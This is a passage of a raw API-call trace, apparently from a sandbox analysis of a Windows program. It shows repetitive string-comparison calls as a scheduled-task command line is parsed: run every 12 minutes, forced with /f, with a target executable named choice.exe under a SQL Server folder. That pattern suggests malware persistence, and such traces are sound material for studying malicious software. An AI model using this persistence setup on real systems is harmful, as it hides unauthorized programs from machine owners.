_BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|run|") returned 5 [0063.630] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|sc|") returned 4 [0063.630] lstrlenW (lpString="|run|") returned 5 [0063.630] lstrlenW (lpString="|sc|") returned 4 [0063.630] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0063.630] SetLastError (dwErrCode=0x490) [0063.630] lstrlenW (lpString="end") returned 3 [0063.630] lstrlenW (lpString="end") returned 3 [0063.630] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.630] lstrlenW (lpString="sc") returned 2 [0063.630] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.630] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|end|") returned 5 [0063.630] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|sc|") returned 4 [0063.630] lstrlenW (lpString="|end|") returned 5 [0063.630] lstrlenW (lpString="|sc|") returned 4 [0063.630] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0063.630] SetLastError (dwErrCode=0x490) [0063.630] lstrlenW (lpString="showsid") returned 7 [0063.630] lstrlenW (lpString="showsid") returned 7 [0063.630] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.630] lstrlenW (lpString="sc") returned 2 [0063.630] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.631] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|showsid|") returned 9 [0063.631] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|sc|") returned 4 [0063.631] lstrlenW (lpString="|showsid|") returned 9 [0063.631] lstrlenW (lpString="|sc|") returned 4 [0063.631] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0063.631] SetLastError (dwErrCode=0x490) [0063.631] SetLastError (dwErrCode=0x490) [0063.631] SetLastError (dwErrCode=0x0) [0063.631] lstrlenW (lpString="/sc") returned 3 [0063.631] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0063.631] SetLastError (dwErrCode=0x490) [0063.631] SetLastError (dwErrCode=0x0) [0063.631] lstrlenW (lpString="/sc") returned 3 [0063.631] GetProcessHeap () returned 0x240000 [0063.631] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c3e0 [0063.631] GetProcessHeap () returned 0x240000 [0063.631] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cdc0 [0063.631] SetLastError (dwErrCode=0x0) [0063.631] SetLastError (dwErrCode=0x0) [0063.631] lstrlenW (lpString="MINUTE") returned 6 [0063.631] lstrlenW (lpString="-/") returned 2 [0063.631] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0063.631] SetLastError (dwErrCode=0x490) [0063.631] SetLastError (dwErrCode=0x490) [0063.631] SetLastError (dwErrCode=0x0) [0063.631] lstrlenW (lpString="MINUTE") returned 6 [0063.631] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0063.631] SetLastError (dwErrCode=0x490) [0063.632] SetLastError (dwErrCode=0x0) [0063.632] lstrlenW (lpString="MINUTE") returned 6 [0063.632] GetProcessHeap () returned 0x240000 [0063.632] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25c400 [0063.632] GetProcessHeap () returned 0x240000 [0063.632] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cdf0 [0063.632] SetLastError (dwErrCode=0x0) [0063.632] SetLastError (dwErrCode=0x0) [0063.632] lstrlenW (lpString="/mo") returned 3 [0063.632] lstrlenW (lpString="-/") returned 2 [0063.632] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.632] lstrlenW (lpString="?") returned 1 [0063.632] lstrlenW (lpString="?") returned 1 [0063.632] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.632] lstrlenW (lpString="mo") returned 2 [0063.632] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.632] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|?|") returned 3 [0063.632] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|mo|") returned 4 [0063.632] lstrlenW (lpString="|?|") returned 3 [0063.632] lstrlenW (lpString="|mo|") returned 4 [0063.632] SetLastError (dwErrCode=0x490) [0063.632] lstrlenW (lpString="create") returned 6 [0063.632] lstrlenW (lpString="create") returned 6 [0063.632] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.632] lstrlenW (lpString="mo") returned 2 [0063.632] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.633] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|create|") returned 8 [0063.633] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|mo|") returned 4 [0063.633] lstrlenW (lpString="|create|") returned 8 [0063.633] lstrlenW (lpString="|mo|") returned 4 [0063.633] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0063.633] SetLastError (dwErrCode=0x490) [0063.633] lstrlenW (lpString="delete") returned 6 [0063.633] lstrlenW (lpString="delete") returned 6 [0063.633] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.633] lstrlenW (lpString="mo") returned 2 [0063.633] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.633] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|delete|") returned 8 [0063.633] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|mo|") returned 4 [0063.633] lstrlenW (lpString="|delete|") returned 8 [0063.633] lstrlenW (lpString="|mo|") returned 4 [0063.633] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0063.633] SetLastError (dwErrCode=0x490) [0063.633] lstrlenW (lpString="query") returned 5 [0063.633] lstrlenW (lpString="query") returned 5 [0063.633] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.633] lstrlenW (lpString="mo") returned 2 [0063.633] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.633] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|query|") returned 7 [0063.633] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|mo|") returned 4 [0063.633] lstrlenW (lpString="|query|") returned 7 [0063.634] lstrlenW (lpString="|mo|") returned 4 [0063.634] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0063.634] SetLastError (dwErrCode=0x490) [0063.634] lstrlenW (lpString="change") returned 6 [0063.634] lstrlenW (lpString="change") returned 6 [0063.634] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.634] lstrlenW (lpString="mo") returned 2 [0063.634] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.634] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|change|") returned 8 [0063.634] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|mo|") returned 4 [0063.634] lstrlenW (lpString="|change|") returned 8 [0063.634] lstrlenW (lpString="|mo|") returned 4 [0063.634] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0063.634] SetLastError (dwErrCode=0x490) [0063.634] lstrlenW (lpString="run") returned 3 [0063.634] lstrlenW (lpString="run") returned 3 [0063.634] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.634] lstrlenW (lpString="mo") returned 2 [0063.634] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.634] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|run|") returned 5 [0063.634] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|mo|") returned 4 [0063.634] lstrlenW (lpString="|run|") returned 5 [0063.634] lstrlenW (lpString="|mo|") returned 4 [0063.634] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0063.634] SetLastError (dwErrCode=0x490) [0063.635] lstrlenW (lpString="end") returned 3 [0063.635] lstrlenW (lpString="end") returned 3 [0063.635] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.635] lstrlenW (lpString="mo") returned 2 [0063.635] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.635] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|end|") returned 5 [0063.635] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|mo|") returned 4 [0063.635] lstrlenW (lpString="|end|") returned 5 [0063.635] lstrlenW (lpString="|mo|") returned 4 [0063.635] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0063.635] SetLastError (dwErrCode=0x490) [0063.635] lstrlenW (lpString="showsid") returned 7 [0063.635] lstrlenW (lpString="showsid") returned 7 [0063.635] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.635] lstrlenW (lpString="mo") returned 2 [0063.635] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.635] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|showsid|") returned 9 [0063.635] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|mo|") returned 4 [0063.635] lstrlenW (lpString="|showsid|") returned 9 [0063.635] lstrlenW (lpString="|mo|") returned 4 [0063.635] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0063.635] SetLastError (dwErrCode=0x490) [0063.635] SetLastError (dwErrCode=0x490) [0063.635] SetLastError (dwErrCode=0x0) [0063.635] lstrlenW (lpString="/mo") returned 3 [0063.636] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0063.636] SetLastError (dwErrCode=0x490) [0063.636] SetLastError (dwErrCode=0x0) [0063.636] lstrlenW (lpString="/mo") returned 3 [0063.636] GetProcessHeap () returned 0x240000 [0063.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c420 [0063.636] GetProcessHeap () returned 0x240000 [0063.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce20 [0063.636] SetLastError (dwErrCode=0x0) [0063.636] SetLastError (dwErrCode=0x0) [0063.636] lstrlenW (lpString="12") returned 2 [0063.636] lstrlenW (lpString="-/") returned 2 [0063.636] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0063.636] SetLastError (dwErrCode=0x490) [0063.636] SetLastError (dwErrCode=0x490) [0063.636] SetLastError (dwErrCode=0x0) [0063.636] lstrlenW (lpString="12") returned 2 [0063.636] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0063.636] SetLastError (dwErrCode=0x490) [0063.636] SetLastError (dwErrCode=0x0) [0063.636] lstrlenW (lpString="12") returned 2 [0063.636] GetProcessHeap () returned 0x240000 [0063.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x6) returned 0x25c440 [0063.636] GetProcessHeap () returned 0x240000 [0063.636] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce50 [0063.636] SetLastError (dwErrCode=0x0) [0063.636] SetLastError (dwErrCode=0x0) [0063.636] lstrlenW (lpString="/tr") returned 3 [0063.636] lstrlenW (lpString="-/") returned 2 [0063.636] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.637] lstrlenW (lpString="?") returned 1 [0063.637] lstrlenW (lpString="?") returned 1 [0063.637] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.637] lstrlenW (lpString="tr") returned 2 [0063.637] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.637] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|?|") returned 3 [0063.637] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tr|") returned 4 [0063.637] lstrlenW (lpString="|?|") returned 3 [0063.637] lstrlenW (lpString="|tr|") returned 4 [0063.637] SetLastError (dwErrCode=0x490) [0063.637] lstrlenW (lpString="create") returned 6 [0063.637] lstrlenW (lpString="create") returned 6 [0063.637] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.637] lstrlenW (lpString="tr") returned 2 [0063.637] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.637] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|create|") returned 8 [0063.637] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tr|") returned 4 [0063.637] lstrlenW (lpString="|create|") returned 8 [0063.637] lstrlenW (lpString="|tr|") returned 4 [0063.637] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0063.637] SetLastError (dwErrCode=0x490) [0063.637] lstrlenW (lpString="delete") returned 6 [0063.637] lstrlenW (lpString="delete") returned 6 [0063.637] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.638] lstrlenW (lpString="tr") returned 2 [0063.638] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.638] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|delete|") returned 8 [0063.638] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tr|") returned 4 [0063.638] lstrlenW (lpString="|delete|") returned 8 [0063.638] lstrlenW (lpString="|tr|") returned 4 [0063.638] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0063.638] SetLastError (dwErrCode=0x490) [0063.638] lstrlenW (lpString="query") returned 5 [0063.638] lstrlenW (lpString="query") returned 5 [0063.638] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.638] lstrlenW (lpString="tr") returned 2 [0063.638] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.638] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|query|") returned 7 [0063.638] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tr|") returned 4 [0063.638] lstrlenW (lpString="|query|") returned 7 [0063.638] lstrlenW (lpString="|tr|") returned 4 [0063.638] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0063.638] SetLastError (dwErrCode=0x490) [0063.638] lstrlenW (lpString="change") returned 6 [0063.638] lstrlenW (lpString="change") returned 6 [0063.638] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.638] lstrlenW (lpString="tr") returned 2 [0063.638] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.639] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|change|") returned 8 [0063.639] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tr|") returned 4 [0063.639] lstrlenW (lpString="|change|") returned 8 [0063.639] lstrlenW (lpString="|tr|") returned 4 [0063.639] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0063.639] SetLastError (dwErrCode=0x490) [0063.639] lstrlenW (lpString="run") returned 3 [0063.639] lstrlenW (lpString="run") returned 3 [0063.639] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.639] lstrlenW (lpString="tr") returned 2 [0063.639] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.639] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|run|") returned 5 [0063.639] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tr|") returned 4 [0063.639] lstrlenW (lpString="|run|") returned 5 [0063.639] lstrlenW (lpString="|tr|") returned 4 [0063.639] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0063.639] SetLastError (dwErrCode=0x490) [0063.639] lstrlenW (lpString="end") returned 3 [0063.639] lstrlenW (lpString="end") returned 3 [0063.639] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.639] lstrlenW (lpString="tr") returned 2 [0063.639] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.639] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|end|") returned 5 [0063.639] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tr|") returned 4 [0063.639] lstrlenW (lpString="|end|") returned 5 [0063.640] lstrlenW (lpString="|tr|") returned 4 [0063.640] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0063.640] SetLastError (dwErrCode=0x490) [0063.640] lstrlenW (lpString="showsid") returned 7 [0063.640] lstrlenW (lpString="showsid") returned 7 [0063.640] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.640] lstrlenW (lpString="tr") returned 2 [0063.640] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.640] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|showsid|") returned 9 [0063.640] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|tr|") returned 4 [0063.640] lstrlenW (lpString="|showsid|") returned 9 [0063.640] lstrlenW (lpString="|tr|") returned 4 [0063.640] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0063.684] SetLastError (dwErrCode=0x490) [0063.684] SetLastError (dwErrCode=0x490) [0063.684] SetLastError (dwErrCode=0x0) [0063.684] lstrlenW (lpString="/tr") returned 3 [0063.684] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0063.684] SetLastError (dwErrCode=0x490) [0063.684] SetLastError (dwErrCode=0x0) [0063.684] lstrlenW (lpString="/tr") returned 3 [0063.684] GetProcessHeap () returned 0x240000 [0063.684] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c460 [0063.684] GetProcessHeap () returned 0x240000 [0063.684] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce80 [0063.684] SetLastError (dwErrCode=0x0) [0063.684] SetLastError (dwErrCode=0x0) [0063.684] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.684] lstrlenW (lpString="-/") returned 2 [0063.685] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0063.685] SetLastError (dwErrCode=0x490) [0063.685] SetLastError (dwErrCode=0x490) [0063.685] SetLastError (dwErrCode=0x0) [0063.685] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.685] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'" [0063.685] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.685] GetProcessHeap () returned 0x240000 [0063.685] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c480 [0063.685] _memicmp (_Buf1=0x25c480, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.685] GetProcessHeap () returned 0x240000 [0063.685] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25c4a0 [0063.685] GetProcessHeap () returned 0x240000 [0063.685] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d650 [0063.685] _memicmp (_Buf1=0x25d650, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.685] GetProcessHeap () returned 0x240000 [0063.685] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8a) returned 0x25de20 [0063.685] SetLastError (dwErrCode=0x7a) [0063.685] SetLastError (dwErrCode=0x0) [0063.685] SetLastError (dwErrCode=0x0) [0063.685] lstrlenW (lpString="'C") returned 2 [0063.685] lstrlenW (lpString="-/") returned 2 [0063.685] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0063.686] SetLastError (dwErrCode=0x490) [0063.686] SetLastError (dwErrCode=0x490) [0063.686] SetLastError (dwErrCode=0x0) [0063.686] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0063.686] GetProcessHeap () returned 0x240000 [0063.686] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x88) returned 0x25dec0 [0063.686] GetProcessHeap () returned 0x240000 [0063.686] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ceb0 [0063.686] SetLastError (dwErrCode=0x0) [0063.686] SetLastError (dwErrCode=0x0) [0063.686] lstrlenW (lpString="/f") returned 2 [0063.686] lstrlenW (lpString="-/") returned 2 [0063.686] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.686] lstrlenW (lpString="?") returned 1 [0063.686] lstrlenW (lpString="?") returned 1 [0063.686] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.686] lstrlenW (lpString="f") returned 1 [0063.686] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.686] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|?|") returned 3 [0063.686] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|f|") returned 3 [0063.686] lstrlenW (lpString="|?|") returned 3 [0063.686] lstrlenW (lpString="|f|") returned 3 [0063.686] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0063.686] SetLastError (dwErrCode=0x490) [0063.686] lstrlenW (lpString="create") returned 6 [0063.686] lstrlenW (lpString="create") returned 6 [0063.686] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.687] lstrlenW (lpString="f") returned 1 [0063.687] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.687] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|create|") returned 8 [0063.687] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|f|") returned 3 [0063.687] lstrlenW (lpString="|create|") returned 8 [0063.687] lstrlenW (lpString="|f|") returned 3 [0063.687] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0063.687] SetLastError (dwErrCode=0x490) [0063.687] lstrlenW (lpString="delete") returned 6 [0063.687] lstrlenW (lpString="delete") returned 6 [0063.687] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.687] lstrlenW (lpString="f") returned 1 [0063.687] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.687] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|delete|") returned 8 [0063.687] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|f|") returned 3 [0063.687] lstrlenW (lpString="|delete|") returned 8 [0063.687] lstrlenW (lpString="|f|") returned 3 [0063.687] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0063.687] SetLastError (dwErrCode=0x490) [0063.687] lstrlenW (lpString="query") returned 5 [0063.687] lstrlenW (lpString="query") returned 5 [0063.687] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.687] lstrlenW (lpString="f") returned 1 [0063.688] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.688] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|query|") returned 7 [0063.688] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|f|") returned 3 [0063.688] lstrlenW (lpString="|query|") returned 7 [0063.688] lstrlenW (lpString="|f|") returned 3 [0063.688] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0063.688] SetLastError (dwErrCode=0x490) [0063.688] lstrlenW (lpString="change") returned 6 [0063.688] lstrlenW (lpString="change") returned 6 [0063.688] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.688] lstrlenW (lpString="f") returned 1 [0063.688] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.688] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|change|") returned 8 [0063.688] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|f|") returned 3 [0063.688] lstrlenW (lpString="|change|") returned 8 [0063.688] lstrlenW (lpString="|f|") returned 3 [0063.688] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0063.688] SetLastError (dwErrCode=0x490) [0063.688] lstrlenW (lpString="run") returned 3 [0063.688] lstrlenW (lpString="run") returned 3 [0063.688] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.688] lstrlenW (lpString="f") returned 1 [0063.688] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.689] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|run|") returned 5 [0063.689] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|f|") returned 3 [0063.689] lstrlenW (lpString="|run|") returned 5 [0063.689] lstrlenW (lpString="|f|") returned 3 [0063.689] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0063.689] SetLastError (dwErrCode=0x490) [0063.689] lstrlenW (lpString="end") returned 3 [0063.689] lstrlenW (lpString="end") returned 3 [0063.689] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.689] lstrlenW (lpString="f") returned 1 [0063.689] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.689] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf318 | out: _Buffer="|end|") returned 5 